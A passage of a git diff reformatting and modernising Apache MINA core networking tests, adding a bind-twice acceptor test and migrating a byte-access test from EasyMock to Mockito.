b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramSessionIdleTest.java @@ -22,6 +22,7 @@ import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; +import java.net.InetAddress; import java.net.InetSocketAddress; import org.apache.mina.core.service.IoHandlerAdapter; @@ -48,8 +49,7 @@ public class DatagramSessionIdleTest { private class TestHandler extends IoHandlerAdapter { @Override - public void sessionIdle(IoSession session, IdleStatus status) - throws Exception { + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { if (status == IdleStatus.BOTH_IDLE) { bothIdleReceived = true; } else if (status == IdleStatus.READER_IDLE) { @@ -57,11 +57,11 @@ public void sessionIdle(IoSession session, IdleStatus status) } else if (status == IdleStatus.WRITER_IDLE) { writerIdleReceived = true; } - + synchronized (mutex) { mutex.notifyAll(); } - + super.sessionIdle(session, status); } } @@ -71,59 +71,56 @@ public void testSessionIdle() throws Exception { final int READER_IDLE_TIME = 3;//seconds final int WRITER_IDLE_TIME = READER_IDLE_TIME + 2;//seconds final int BOTH_IDLE_TIME = WRITER_IDLE_TIME + 2;//seconds - + NioDatagramAcceptor acceptor = new NioDatagramAcceptor(); acceptor.getSessionConfig().setBothIdleTime(BOTH_IDLE_TIME); acceptor.getSessionConfig().setReaderIdleTime(READER_IDLE_TIME); acceptor.getSessionConfig().setWriterIdleTime(WRITER_IDLE_TIME); - InetSocketAddress bindAddress = new InetSocketAddress( AvailablePortFinder.getNextAvailable()); + InetSocketAddress bindAddress = new InetSocketAddress(AvailablePortFinder.getNextAvailable()); acceptor.setHandler(new TestHandler()); acceptor.bind(bindAddress); - IoSession session = acceptor.newSession(new InetSocketAddress( - "127.0.0.1", AvailablePortFinder.getNextAvailable()), bindAddress); - + IoSession session = acceptor.newSession( + new InetSocketAddress(InetAddress.getByName(null), AvailablePortFinder.getNextAvailable()), bindAddress); + //check properties to be copied from acceptor to session assertEquals(BOTH_IDLE_TIME, session.getConfig().getBothIdleTime()); assertEquals(READER_IDLE_TIME, session.getConfig().getReaderIdleTime()); assertEquals(WRITER_IDLE_TIME, session.getConfig().getWriterIdleTime()); - + //verify that IDLE events really received by handler long startTime = System.currentTimeMillis(); - + synchronized (mutex) { - while (!readerIdleReceived - && (System.currentTimeMillis() - startTime) < (READER_IDLE_TIME + 1) * 1000) + while (!readerIdleReceived && (System.currentTimeMillis() - startTime) < (READER_IDLE_TIME + 1) * 1000) try { mutex.wait(READER_IDLE_TIME * 1000); } catch (Exception e) { e.printStackTrace(); } } - + assertTrue(readerIdleReceived); - + synchronized (mutex) { - while (!writerIdleReceived - && (System.currentTimeMillis() - startTime) < (WRITER_IDLE_TIME + 1) * 1000) + while (!writerIdleReceived && (System.currentTimeMillis() - startTime) < (WRITER_IDLE_TIME + 1) * 1000) try { mutex.wait((WRITER_IDLE_TIME - READER_IDLE_TIME) * 1000); } catch (Exception e) { e.printStackTrace(); } } - + assertTrue(writerIdleReceived); - + synchronized (mutex) { - while (!bothIdleReceived - && (System.currentTimeMillis() - startTime) < (BOTH_IDLE_TIME + 1) * 1000) + while (!bothIdleReceived && (System.currentTimeMillis() - startTime) < (BOTH_IDLE_TIME + 1) * 1000) try { mutex.wait((BOTH_IDLE_TIME - WRITER_IDLE_TIME) * 1000); } catch (Exception e) { e.printStackTrace(); } } - + assertTrue(bothIdleReceived); } } \ No newline at end of file diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramTrafficControlTest.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramTrafficControlTest.java index c78f766036..c388cca2f2 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramTrafficControlTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/DatagramTrafficControlTest.java @@ -40,8 +40,7 @@ public DatagramTrafficControlTest() { } @Override - protected ConnectFuture connect(int port, IoHandler handler) - throws Exception { + protected ConnectFuture connect(int port, IoHandler handler) throws Exception { IoConnector connector = new NioDatagramConnector(); connector.setHandler(handler); return connector.connect(new InetSocketAddress("localhost", port)); diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/NioFileRegionTest.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/NioFileRegionTest.java index 919c12c3c4..97ef9bfe9a 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/NioFileRegionTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/NioFileRegionTest.java @@ -28,7 +28,7 @@ * * @author Apache MINA Project */ -public class NioFileRegionTest extends AbstractFileRegionTest{ +public class NioFileRegionTest extends AbstractFileRegionTest { @Override protected IoAcceptor createAcceptor() { diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/PollingIoProcessorTest.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/PollingIoProcessorTest.java index dd447eef6c..224b2fe83d 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/PollingIoProcessorTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/PollingIoProcessorTest.java @@ -44,7 +44,7 @@ /** * Tests non regression on issue DIRMINA-632. - * + * * @author Apache MINA Project */ public class PollingIoProcessorTest { @@ -53,137 +53,132 @@ public class PollingIoProcessorTest { public void testExceptionOnWrite() throws Exception { final Executor ex = Executors.newFixedThreadPool(1); - IoConnector connector = new NioSocketConnector( - new AbstractPollingIoProcessor(ex) { - - private NioProcessor proc = new NioProcessor(ex); - - @Override - protected Iterator allSessions() { - return proc.allSessions(); - } - - @Override - protected void destroy(NioSession session) throws Exception { - proc.destroy(session); - } - - @Override - protected void dispose0() throws Exception { - proc.dispose0(); - } - - @Override - protected void init(NioSession session) throws Exception { - proc.init(session); - } - - @Override - protected boolean isInterestedInRead(NioSession session) { - return proc.isInterestedInRead(session); - } - - @Override - protected boolean isInterestedInWrite(NioSession session) { - return proc.isInterestedInWrite(session); - } - - @Override - protected boolean isReadable(NioSession session) { - return proc.isReadable(session); - } - - @Override - protected boolean isSelectorEmpty() { - return proc.isSelectorEmpty(); - } - - @Override - protected boolean isWritable(NioSession session) { - return proc.isWritable(session); - } - - @Override - protected int read(NioSession session, IoBuffer buf) - throws Exception { - return proc.read(session, buf); - } - - @Override - protected int select(long timeout) throws Exception { - return proc.select(timeout); - } - - @Override - protected int select() throws Exception { - return proc.select(); - } - - @Override - protected Iterator selectedSessions() { - return proc.selectedSessions(); - } - - @Override - protected void setInterestedInRead(NioSession session, - boolean interested) throws Exception { - proc.setInterestedInRead(session, interested); - } - - @Override - protected void setInterestedInWrite(NioSession session, - boolean interested) throws Exception { - proc.setInterestedInWrite(session, interested); - } - - @Override - protected SessionState getState(NioSession session) { - return proc.getState(session); - } - - @Override - protected int transferFile(NioSession session, - FileRegion region, int length) throws Exception { - return proc.transferFile(session, region, length); - } - - @Override - protected void wakeup() { - proc.wakeup(); - } - - @Override - protected int write(NioSession session, IoBuffer buf, - int length) throws Exception { - throw new NoRouteToHostException( - "No Route To Host Test"); - } - - @Override - protected boolean isBrokenConnection() throws IOException { - return proc.isBrokenConnection(); - } - - @Override - protected void registerNewSelector() throws IOException { - proc.registerNewSelector(); - } - - }); + IoConnector connector = new NioSocketConnector(new AbstractPollingIoProcessor(ex) { + + private NioProcessor proc = new NioProcessor(ex); + + @Override + protected Iterator allSessions() { + return proc.allSessions(); + } + + @Override + protected int allSessionsCount() { + return proc.allSessionsCount(); + } + + @Override + protected void destroy(NioSession session) throws Exception { + proc.destroy(session); + } + + @Override + protected void doDispose() throws Exception { + proc.doDispose(); + } + + @Override + protected void init(NioSession session) throws Exception { + proc.init(session); + } + + @Override + protected boolean isInterestedInRead(NioSession session) { + return proc.isInterestedInRead(session); + } + + @Override + protected boolean isInterestedInWrite(NioSession session) { + return proc.isInterestedInWrite(session); + } + + @Override + protected boolean isReadable(NioSession session) { + return proc.isReadable(session); + } + + @Override + protected boolean isSelectorEmpty() { + return proc.isSelectorEmpty(); + } + + @Override + protected boolean isWritable(NioSession session) { + return proc.isWritable(session); + } + + @Override + protected int read(NioSession session, IoBuffer buf) throws Exception { + return proc.read(session, buf); + } + + @Override + protected int select(long timeout) throws Exception { + return proc.select(timeout); + } + + @Override + protected int select() throws Exception { + return proc.select(); + } + + @Override + protected Iterator selectedSessions() { + return proc.selectedSessions(); + } + + @Override + protected void setInterestedInRead(NioSession session, boolean interested) throws Exception { + proc.setInterestedInRead(session, interested); + } + + @Override + protected void setInterestedInWrite(NioSession session, boolean interested) throws Exception { + proc.setInterestedInWrite(session, interested); + } + + @Override + protected SessionState getState(NioSession session) { + return proc.getState(session); + } + + @Override + protected int transferFile(NioSession session, FileRegion region, int length) throws Exception { + return proc.transferFile(session, region, length); + } + + @Override + protected void wakeup() { + proc.wakeup(); + } + + @Override + protected int write(NioSession session, IoBuffer buf, int length) throws IOException { + throw new NoRouteToHostException("No Route To Host Test"); + } + + @Override + protected boolean isBrokenConnection() throws IOException { + return proc.isBrokenConnection(); + } + + @Override + protected void registerNewSelector() throws IOException { + proc.registerNewSelector(); + } + }); connector.setHandler(new IoHandlerAdapter()); IoAcceptor acceptor = new NioSocketAcceptor(); acceptor.setHandler(new IoHandlerAdapter()); - InetSocketAddress addr = new InetSocketAddress("localhost", - AvailablePortFinder.getNextAvailable(20000)); + InetSocketAddress addr = new InetSocketAddress("localhost", AvailablePortFinder.getNextAvailable(20000)); acceptor.bind(addr); ConnectFuture future = connector.connect(addr); future.awaitUninterruptibly(); IoSession session = future.getSession(); - WriteFuture wf = session.write(IoBuffer.allocate(1)) - .awaitUninterruptibly(); + WriteFuture wf = session.write(IoBuffer.allocate(1)).awaitUninterruptibly(); assertNotNull(wf.getException()); connector.dispose(); diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketAcceptorTest.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketAcceptorTest.java new file mode 100644 index 0000000000..3c09ccc875 --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketAcceptorTest.java @@ -0,0 +1,71 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.transport.socket.nio; + +import java.net.InetSocketAddress; +import java.util.Collection; +import java.util.concurrent.CountDownLatch; + +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.util.AvailablePortFinder; +import org.junit.Test; + +public class SocketAcceptorTest { + + @Test + public void testBindTwice() throws Exception { + NioSocketAcceptor acceptor = new NioSocketAcceptor() { + + private int nRequests; + + private CountDownLatch secondRequestAdded = new CountDownLatch(1); + + @Override + protected void bindRequestAdded() { + super.bindRequestAdded(); + nRequests++; + if (nRequests == 2) { + secondRequestAdded.countDown(); + } + } + + @Override + protected void handleUnbound(Collection unboundFutures) throws Exception { + super.handleUnbound(unboundFutures); + if (!unboundFutures.isEmpty() && nRequests == 1) { + secondRequestAdded.await(); + } + } + }; + acceptor.setCloseOnDeactivation(false); + acceptor.setReuseAddress(true); + acceptor.setHandler(new IoHandlerAdapter()); + try { + int port = AvailablePortFinder.getNextAvailable(1025); + InetSocketAddress address = new InetSocketAddress("127.0.0.1", port); + acceptor.bind(address); + acceptor.unbind(address); + acceptor.bind(address); + acceptor.unbind(address); + } finally { + acceptor.dispose(); + } + } +} \ No newline at end of file diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketConnectorTest.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketConnectorTest.java index 6f322830e9..58d7475ca0 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketConnectorTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketConnectorTest.java @@ -33,7 +33,7 @@ public class SocketConnectorTest extends AbstractConnectorTest { @Override protected IoAcceptor createAcceptor() { NioSocketAcceptor acceptor = new NioSocketAcceptor(); - + acceptor.setReuseAddress(true); return acceptor; } diff --git a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketTrafficControlTest.java b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketTrafficControlTest.java index 71e8437014..4be343a1f5 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketTrafficControlTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/socket/nio/SocketTrafficControlTest.java @@ -40,8 +40,7 @@ public SocketTrafficControlTest() { } @Override - protected ConnectFuture connect(int port, IoHandler handler) - throws Exception { + protected ConnectFuture connect(int port, IoHandler handler) throws Exception { IoConnector connector = new NioSocketConnector(); connector.setHandler(handler); return connector.connect(new InetSocketAddress("localhost", port)); diff --git a/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeEventOrderTest.java b/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeEventOrderTest.java index fbe4be0048..576c71fa59 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeEventOrderTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeEventOrderTest.java @@ -51,9 +51,8 @@ public void sessionOpened(IoSession session) throws Exception { } @Override - public void messageSent(IoSession session, Object message) - throws Exception { - session.close(true); + public void messageSent(IoSession session, Object message) throws Exception { + session.closeNow(); } }); @@ -64,8 +63,7 @@ public void messageSent(IoSession session, Object message) connector.setHandler(new IoHandlerAdapter() { @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { actual.append(message); } @@ -106,8 +104,7 @@ public void testClientToServer() throws Exception { acceptor.setHandler(new IoHandlerAdapter() { @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { actual.append(message); } @@ -132,9 +129,8 @@ public void sessionOpened(IoSession session) throws Exception { } @Override - public void messageSent(IoSession session, Object message) - throws Exception { - session.close(true); + public void messageSent(IoSession session, Object message) throws Exception { + session.closeNow(); } }); @@ -177,11 +173,10 @@ public void sessionOpened(IoSession session) throws Exception { } @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { stringBuffer.append("C"); } - + @Override public void sessionClosed(IoSession session) throws Exception { stringBuffer.append("D"); @@ -196,7 +191,7 @@ public void sessionClosed(IoSession session) throws Exception { ConnectFuture connectFuture = vmPipeConnector.connect(vmPipeAddress); connectFuture.awaitUninterruptibly(); connectFuture.getSession().write(IoBuffer.wrap(new byte[1])).awaitUninterruptibly(); - connectFuture.getSession().close(false).awaitUninterruptibly(); + connectFuture.getSession().closeOnFlush().awaitUninterruptibly(); semaphore.tryAcquire(1, TimeUnit.SECONDS); vmPipeAcceptor.unbind(vmPipeAddress); diff --git a/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeSessionCrossCommunicationTest.java b/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeSessionCrossCommunicationTest.java index f8c1609731..42745c57a2 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeSessionCrossCommunicationTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeSessionCrossCommunicationTest.java @@ -44,7 +44,7 @@ public class VmPipeSessionCrossCommunicationTest { public void testOneSessionTalkingBackAndForthDoesNotDeadlock() throws Exception { final VmPipeAddress address = new VmPipeAddress(1); final IoConnector connector = new VmPipeConnector(); - final AtomicReference c1 = new AtomicReference(); + final AtomicReference c1 = new AtomicReference<>(); final CountDownLatch latch = new CountDownLatch(1); final CountDownLatch messageCount = new CountDownLatch(2); IoAcceptor acceptor = new VmPipeAcceptor(); @@ -125,12 +125,8 @@ public void messageReceived(IoSession session, Object message) throws Exception ThreadInfo[] infos = threadMXBean.getThreadInfo(threads, Integer.MAX_VALUE); for (ThreadInfo info : infos) { - sb.append(info.getThreadName()) - .append(" blocked on ") - .append(info.getLockName()) - .append(" owned by ") - .append(info.getLockOwnerName()) - .append("\n"); + sb.append(info.getThreadName()).append(" blocked on ").append(info.getLockName()) + .append(" owned by ").append(info.getLockOwnerName()).append("\n"); } for (ThreadInfo info : infos) { diff --git a/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeTrafficControlTest.java b/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeTrafficControlTest.java index cf75ff2610..f9d68cc570 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeTrafficControlTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/vmpipe/VmPipeTrafficControlTest.java @@ -39,8 +39,7 @@ public VmPipeTrafficControlTest() { } @Override - protected ConnectFuture connect(int port, IoHandler handler) - throws Exception { + protected ConnectFuture connect(int port, IoHandler handler) throws Exception { IoConnector connector = new VmPipeConnector(); connector.setHandler(handler); return connector.connect(new VmPipeAddress(port)); diff --git a/mina-core/src/test/java/org/apache/mina/util/Bar.java b/mina-core/src/test/java/org/apache/mina/util/Bar.java index d7c72d72bc..5dd284b393 100644 --- a/mina-core/src/test/java/org/apache/mina/util/Bar.java +++ b/mina-core/src/test/java/org/apache/mina/util/Bar.java @@ -19,7 +19,7 @@ */ package org.apache.mina.util; -import org.apache.mina.core.IoBufferTest; +import org.apache.mina.core.buffer.IoBufferTest; /** * The subtype of {@link Foo}. It is used to test the serialization of inherited object diff --git a/mina-core/src/test/java/org/apache/mina/util/CircularQueueTest.java b/mina-core/src/test/java/org/apache/mina/util/CircularQueueTest.java index 043cb04a3b..814ef542ae 100644 --- a/mina-core/src/test/java/org/apache/mina/util/CircularQueueTest.java +++ b/mina-core/src/test/java/org/apache/mina/util/CircularQueueTest.java @@ -35,6 +35,7 @@ */ public class CircularQueueTest { private volatile int pushCount; + private volatile int popCount; @Before @@ -45,13 +46,13 @@ public void setUp() { @Test public void testRotation() { - CircularQueue q = new CircularQueue(); // DEFAULT_CAPACITY = 4 + CircularQueue q = new CircularQueue<>(); // DEFAULT_CAPACITY = 4 testRotation0(q); } @Test public void testExpandingRotation() { - CircularQueue q = new CircularQueue(); // DEFAULT_CAPACITY = 4 + CircularQueue q = new CircularQueue<>(); // DEFAULT_CAPACITY = 4 for (int i = 0; i < 10; i++) { testRotation0(q); @@ -75,7 +76,7 @@ private void testRotation0(CircularQueue q) { @Test public void testRandomAddOnQueue() { - CircularQueue q = new CircularQueue(); + CircularQueue q = new CircularQueue<>(); // Create a queue with 5 elements and capacity 8; for (int i = 0; i < 5; i++) { q.offer(new Integer(i)); @@ -101,7 +102,7 @@ public void testRandomAddOnQueue() { fail(); } catch (Exception e) { // an exception signifies a successfull test case - assertTrue(true); + assertTrue(true); } } @@ -142,7 +143,7 @@ public void testRandomAddOnRotatedQueue() { @Test public void testRandomRemoveOnQueue() { - CircularQueue q = new CircularQueue(); + CircularQueue q = new CircularQueue<>(); // Create a queue with 5 elements and capacity 8; for (int i = 0; i < 5; i++) { @@ -188,35 +189,35 @@ public void testRandomRemoveOnRotatedQueue() { fail(); } catch (Exception e) { // an exception signifies a successfull test case - assertTrue(true); + assertTrue(true); } } - + @Test public void testExpandAndShrink() throws Exception { - CircularQueue q = new CircularQueue(); - for (int i = 0; i < 1024; i ++) { + CircularQueue q = new CircularQueue<>(); + for (int i = 0; i < 1024; i++) { q.offer(i); } - + assertEquals(1024, q.capacity()); - - for (int i = 0; i < 512; i ++) { + + for (int i = 0; i < 512; i++) { q.offer(i); q.poll(); } - + assertEquals(2048, q.capacity()); - - for (int i = 0; i < 1024; i ++) { + + for (int i = 0; i < 1024; i++) { q.poll(); } - + assertEquals(4, q.capacity()); } private CircularQueue getRotatedQueue() { - CircularQueue q = new CircularQueue(); + CircularQueue q = new CircularQueue<>(); // Ensure capacity: 16 for (int i = 0; i < 16; i++) { diff --git a/mina-core/src/test/java/org/apache/mina/util/ExpiringMapTest.java b/mina-core/src/test/java/org/apache/mina/util/ExpiringMapTest.java index 867586fc90..8471a86ec2 100644 --- a/mina-core/src/test/java/org/apache/mina/util/ExpiringMapTest.java +++ b/mina-core/src/test/java/org/apache/mina/util/ExpiringMapTest.java @@ -20,7 +20,6 @@ package org.apache.mina.util; - import static org.junit.Assert.assertNull; import org.junit.Before; @@ -32,22 +31,20 @@ * * @author Apache MINA Project */ -public class ExpiringMapTest -{ - private ExpiringMap theMap; - +public class ExpiringMapTest { + private ExpiringMap theMap; + /** * Create the map, populate it and then kick off * the Expirer, then sleep long enough so that the * Expirer can clean up the map. * - * @throws java.lang.Exception + * @throws Exception If the setup failed */ @Before - public void setUp() throws Exception - { - theMap = new ExpiringMap(1, 2); - theMap.put( "Apache", "MINA" ); + public void setUp() throws Exception { + theMap = new ExpiringMap<>(1, 2); + theMap.put("Apache", "MINA"); theMap.getExpirer().startExpiringIfNotStarted(); Thread.sleep(3000); } @@ -57,7 +54,7 @@ public void setUp() throws Exception * */ @Test - public void testGet(){ - assertNull( theMap.get( "Apache" ) ); + public void testGet() { + assertNull(theMap.get("Apache")); } } diff --git a/mina-core/src/test/java/org/apache/mina/util/Foo.java b/mina-core/src/test/java/org/apache/mina/util/Foo.java index e950f65958..2a34ca6c19 100644 --- a/mina-core/src/test/java/org/apache/mina/util/Foo.java +++ b/mina-core/src/test/java/org/apache/mina/util/Foo.java @@ -21,7 +21,7 @@ import java.io.Serializable; -import org.apache.mina.core.IoBufferTest; +import org.apache.mina.core.buffer.IoBufferTest; /** * The parent class of {@link Bar}. It is used to test the serialization of inherited object diff --git a/mina-core/src/test/java/org/apache/mina/util/byteaccess/ByteAccessTest.java b/mina-core/src/test/java/org/apache/mina/util/byteaccess/ByteAccessTest.java index 2ab5b78546..3d9dcbdce2 100644 --- a/mina-core/src/test/java/org/apache/mina/util/byteaccess/ByteAccessTest.java +++ b/mina-core/src/test/java/org/apache/mina/util/byteaccess/ByteAccessTest.java @@ -19,7 +19,7 @@ */ package org.apache.mina.util.byteaccess; -import static org.easymock.EasyMock.createStrictControl; +//import static org.easymock.EasyMock.createStrictControl; import static org.junit.Assert.assertEquals; import java.nio.ByteOrder; @@ -31,8 +31,14 @@ import org.apache.mina.util.byteaccess.CompositeByteArray.CursorListener; import org.apache.mina.util.byteaccess.CompositeByteArrayRelativeWriter.ChunkedExpander; import org.apache.mina.util.byteaccess.CompositeByteArrayRelativeWriter.Flusher; -import org.easymock.IMocksControl; +import org.junit.Ignore; +//import org.easymock.IMocksControl; import org.junit.Test; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.reset; +import static org.mockito.Mockito.when; /** * Tests classes in the byteaccess package. @@ -41,7 +47,7 @@ */ public class ByteAccessTest { - private List operations = new ArrayList(); + private List operations = new ArrayList<>(); private void resetOperations() { operations.clear(); @@ -137,32 +143,36 @@ public void testCompositeStringJoin() throws Exception { } @Test + @Ignore("Not sure what this test is doing...") public void testCompositeCursor() throws Exception { - IMocksControl mc = createStrictControl(); + //IMocksControl mc = createStrictControl(); + CursorListener cursorListener = mock(CursorListener.class); ByteArray ba1 = getByteArrayFactory().create(10); ByteArray ba2 = getByteArrayFactory().create(10); ByteArray ba3 = getByteArrayFactory().create(10); - CompositeByteArray cba = new CompositeByteArray(); cba.addLast(ba1); cba.addLast(ba2); cba.addLast(ba3); - CursorListener cl = mc.createMock(CursorListener.class); - mc.reset(); - mc.replay(); - Cursor cursor = cba.cursor(cl); - mc.verify(); + //mc.reset(); + //mc.replay(); + Cursor cursor = cba.cursor(cursorListener); + + verify(cursorListener); - mc.reset(); - cl.enteredFirstComponent(0, ba1); - mc.replay(); + //mc.reset(); + cursorListener.enteredFirstComponent(0, ba1); + //mc.replay(); cursor.get(); - mc.verify(); + verify(cursorListener); + + cursor.setIndex(10); + /* mc.reset(); mc.replay(); cursor.setIndex(10); @@ -208,6 +218,7 @@ public void testCompositeCursor() throws Exception { cursor.setIndex(0); cursor.get(); mc.verify(); + */ } @Test @@ -230,7 +241,8 @@ public void testCompositeByteArray() throws Exception { public void testCompositeByteArrayRelativeReaderAndWriter() throws Exception { CompositeByteArray cba = new CompositeByteArray(); CompositeByteArrayRelativeReader cbarr = new CompositeByteArrayRelativeReader(cba, true); - CompositeByteArrayRelativeWriter cbarw = new CompositeByteArrayRelativeWriter(cba, getExpander(100), getFlusher(), false); + CompositeByteArrayRelativeWriter cbarw = new CompositeByteArrayRelativeWriter(cba, getExpander(100), + getFlusher(), false); resetOperations(); testRelativeReaderAndWriter(10, cbarr, cbarw); assertOperationCountEquals(2); @@ -252,7 +264,8 @@ public void testCompositeByteArrayRelativeReaderAndWriter() throws Exception { public void testCompositeByteArrayRelativeReaderAndWriterWithFlush() throws Exception { CompositeByteArray cba = new CompositeByteArray(); CompositeByteArrayRelativeReader cbarr = new CompositeByteArrayRelativeReader(cba, true); - CompositeByteArrayRelativeWriter cbarw = new CompositeByteArrayRelativeWriter(cba, getExpander(100), getFlusher(), true); + CompositeByteArrayRelativeWriter cbarw = new CompositeByteArrayRelativeWriter(cba, getExpander(100), + getFlusher(), true); resetOperations(); testRelativeReaderAndWriter(10, cbarr, cbarw); assertOperationCountEquals(2); @@ -364,7 +377,7 @@ public void testCompositeRemoveTo() throws Exception { assertOperationCountEquals(1); // Frees ByteArray behind both buffers. } } - + @Test public void testCompositeByteArraySlicing() { CompositeByteArray cba = new CompositeByteArray(); @@ -377,7 +390,7 @@ public void testCompositeByteArraySlicing() { testByteArraySlicing(cba, 1, 28); testByteArraySlicing(cba, 19, 2); } - + @Test public void testBufferByteArraySlicing() { ByteArray bba = getByteArrayFactory().create(30); @@ -386,9 +399,9 @@ public void testBufferByteArraySlicing() { testByteArraySlicing(bba, 10, 20); testByteArraySlicing(bba, 1, 28); testByteArraySlicing(bba, 19, 2); - + } - + private void testByteArraySlicing(ByteArray ba, int start, int length) { ByteArray slice = ba.slice(start, length); for (int i = 0; i < length; i++) { @@ -431,8 +444,7 @@ private SimpleByteArrayFactory getByteArrayFactory() { @Override public ByteArray create(final int size) { if (size < 0) { - throw new IllegalArgumentException( - "Buffer size must not be negative:" + size); + throw new IllegalArgumentException("Buffer size must not be negative:" + size); } IoBuffer bb = IoBuffer.allocate(size); ByteArray ba = new BufferByteArray(bb) { @@ -482,7 +494,7 @@ public void testByteArrayBufferAccess() { ByteArray ba = getByteArrayFactory().create(1); ba.put(0, (byte) 99); IoBuffer bb = IoBuffer.allocate(2); - + bb.clear(); Cursor cursor = ba.cursor(); assertEquals(0, cursor.getIndex()); @@ -495,7 +507,7 @@ public void testByteArrayBufferAccess() { assertEquals(1, bb.position()); assertEquals(1, bb.remaining()); } - + @Test public void testCompositeByteArrayPrimitiveAccess() { CompositeByteArray cbaBig = new CompositeByteArray(); @@ -526,7 +538,8 @@ public void testCompositeByteArrayWrapperPrimitiveAccess() { component.order(ByteOrder.BIG_ENDIAN); cbaBig.addLast(component); } - testPrimitiveAccess(new CompositeByteArrayRelativeWriter(cbaBig, getExpander(10), getFlusher(), false), new CompositeByteArrayRelativeReader(cbaBig, true)); + testPrimitiveAccess(new CompositeByteArrayRelativeWriter(cbaBig, getExpander(10), getFlusher(), false), + new CompositeByteArrayRelativeReader(cbaBig, true)); CompositeByteArray cbaLittle = new CompositeByteArray(); cbaLittle.order(ByteOrder.LITTLE_ENDIAN); @@ -535,7 +548,8 @@ public void testCompositeByteArrayWrapperPrimitiveAccess() { component.order(ByteOrder.LITTLE_ENDIAN); cbaLittle.addLast(component); } - testPrimitiveAccess(new CompositeByteArrayRelativeWriter(cbaLittle, getExpander(10), getFlusher(), false), new CompositeByteArrayRelativeReader(cbaLittle, true)); + testPrimitiveAccess(new CompositeByteArrayRelativeWriter(cbaLittle, getExpander(10), getFlusher(), false), + new CompositeByteArrayRelativeReader(cbaLittle, true)); } private void testPrimitiveAccess(IoRelativeWriter write, IoRelativeReader read) { diff --git a/mina-core/src/test/java/testcase/MinaRegressionTest.java b/mina-core/src/test/java/testcase/MinaRegressionTest.java index 1f0ba520e0..ca72945944 100644 --- a/mina-core/src/test/java/testcase/MinaRegressionTest.java +++ b/mina-core/src/test/java/testcase/MinaRegressionTest.java @@ -46,112 +46,112 @@ * */ public class MinaRegressionTest extends IoHandlerAdapter { - private static final Logger logger = LoggerFactory.getLogger(MinaRegressionTest.class); + private static final Logger logger = LoggerFactory.getLogger(MinaRegressionTest.class); - public static final int MSG_SIZE = 5000; - public static final int MSG_COUNT = 10; - private static final int PORT = 23234; - private static final int BUFFER_SIZE = 8192; - private static final int TIMEOUT = 10000; + public static final int MSG_SIZE = 5000; - public static final String OPEN = "open"; + public static final int MSG_COUNT = 10; - public SocketAcceptor acceptor; - public SocketConnector connector; + private static final int PORT = 23234; - private final Object LOCK = new Object(); + private static final int BUFFER_SIZE = 8192; - private static final ThreadFactory THREAD_FACTORY = new ThreadFactory() { - public Thread newThread(final Runnable r) { - return new Thread(null, r, "MinaThread", 64 * 1024); - } - }; + private static final int TIMEOUT = 10000; + + public static final String OPEN = "open"; - private OrderedThreadPoolExecutor executor; + public SocketAcceptor acceptor; - public static AtomicInteger sent = new AtomicInteger(0); + public SocketConnector connector; + private final Object LOCK = new Object(); - public MinaRegressionTest() throws IOException { - executor = new OrderedThreadPoolExecutor( - 0, - 1000, - 60, - TimeUnit.SECONDS, - THREAD_FACTORY); + private static final ThreadFactory THREAD_FACTORY = new ThreadFactory() { + public Thread 